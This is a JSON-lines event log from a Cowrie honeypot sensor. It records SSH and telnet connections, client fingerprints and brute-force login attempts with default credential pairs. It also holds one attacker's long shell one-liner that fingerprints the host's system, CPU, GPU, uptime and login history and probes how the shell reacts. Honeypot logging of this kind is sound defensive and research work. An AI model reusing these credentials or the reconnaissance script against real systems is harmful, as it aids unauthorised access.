{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:50.841269Z","src_ip":"91.92.40.4","session":"561f7a81c7b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:50.844131Z","src_ip":"91.92.40.4","session":"561f7a81c7b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:50.846626Z","src_ip":"91.92.40.4","session":"561f7a81c7b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:50.849286Z","src_ip":"91.92.40.4","session":"561f7a81c7b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:50.852617Z","src_ip":"91.92.40.4","session":"561f7a81c7b0","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:50.855037Z","src_ip":"91.92.40.4","session":"561f7a81c7b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:50.857356Z","src_ip":"91.92.40.4","session":"561f7a81c7b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:50.860159Z","src_ip":"91.92.40.4","session":"561f7a81c7b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:50.863894Z","src_ip":"91.92.40.4","session":"561f7a81c7b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:50.867784Z","src_ip":"91.92.40.4","session":"561f7a81c7b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:50.957597Z","src_ip":"91.92.40.4","session":"561f7a81c7b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:51.043173Z","src_ip":"91.92.40.4","session":"561f7a81c7b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":54476,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e144168721e","protocol":"ssh","message":"New connection: 160.187.174.22:54476 (159.203.135.109:22) [session: 5e144168721e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:52.100128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:52.104718Z","src_ip":"160.187.174.22","session":"5e144168721e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:52.349560Z","src_ip":"160.187.174.22","session":"5e144168721e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.603665828704834,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:53.048731Z","src_ip":"170.64.224.25","session":"28cc0fa9b041","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:53.340229Z","src_ip":"160.187.174.22","session":"5e144168721e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:26:54.590724Z","src_ip":"160.187.174.22","session":"5e144168721e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.553603649139404,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:27:10.593753Z","src_ip":"170.64.224.25","session":"f7b0b29ea7d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":36298,"dst_ip":"159.203.135.109","dst_port":23,"session":"4134cf90c4db","protocol":"telnet","message":"New connection: 170.64.224.25:36298 (159.203.135.109:23) [session: 4134cf90c4db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:27:18.586422Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":60000,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f91a0c9404c","protocol":"ssh","message":"New connection: 160.187.174.22:60000 (159.203.135.109:22) [session: 5f91a0c9404c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:27:20.325594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:27:20.330027Z","src_ip":"160.187.174.22","session":"5f91a0c9404c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:27:20.564590Z","src_ip":"160.187.174.22","session":"5f91a0c9404c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:27:21.277936Z","src_ip":"160.187.174.22","session":"5f91a0c9404c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:27:21.791848Z","src_ip":"160.187.174.22","session":"5f91a0c9404c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:27:21.794681Z","src_ip":"160.187.174.22","session":"5f91a0c9404c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:27:22.032618Z","src_ip":"160.187.174.22","session":"5f91a0c9404c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:27:22.036007Z","src_ip":"160.187.174.22","session":"5f91a0c9404c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":17.480681896209717,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:27:36.066973Z","src_ip":"170.64.224.25","session":"4134cf90c4db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.113","src_port":59946,"dst_ip":"10.17.0.5","dst_port":22,"session":"28a3bbcda6c4","protocol":"ssh","message":"New connection: 209.99.190.113:59946 (10.17.0.5:22) [session: 28a3bbcda6c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:27:40.958807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:27:40.962282Z","src_ip":"209.99.190.113","session":"28a3bbcda6c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:27:41.057823Z","src_ip":"209.99.190.113","session":"28a3bbcda6c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"ftptest1234","message":"login attempt [ftptest/ftptest1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:27:41.476538Z","src_ip":"209.99.190.113","session":"28a3bbcda6c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:27:42.575184Z","src_ip":"209.99.190.113","session":"28a3bbcda6c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":51576,"dst_ip":"159.203.135.109","dst_port":22,"session":"96f3a13dba50","protocol":"ssh","message":"New connection: 160.187.174.22:51576 (159.203.135.109:22) [session: 96f3a13dba50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:27:49.139681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:27:49.144298Z","src_ip":"160.187.174.22","session":"96f3a13dba50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:27:49.394754Z","src_ip":"160.187.174.22","session":"96f3a13dba50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:27:50.154132Z","src_ip":"160.187.174.22","session":"96f3a13dba50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:27:51.405511Z","src_ip":"160.187.174.22","session":"96f3a13dba50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":95.88231420516968,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:28:15.693352Z","src_ip":"167.172.116.158","session":"3a68bcfdd205","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":36164,"dst_ip":"159.203.135.109","dst_port":22,"session":"adbf3577663b","protocol":"ssh","message":"New connection: 160.187.174.22:36164 (159.203.135.109:22) [session: adbf3577663b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:28:17.316080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:28:17.373290Z","src_ip":"160.187.174.22","session":"adbf3577663b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:28:17.563751Z","src_ip":"160.187.174.22","session":"adbf3577663b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"123456","message":"login attempt [centos/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:28:19.194982Z","src_ip":"160.187.174.22","session":"adbf3577663b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:28:20.448559Z","src_ip":"160.187.174.22","session":"adbf3577663b","protocol":"ssh"}
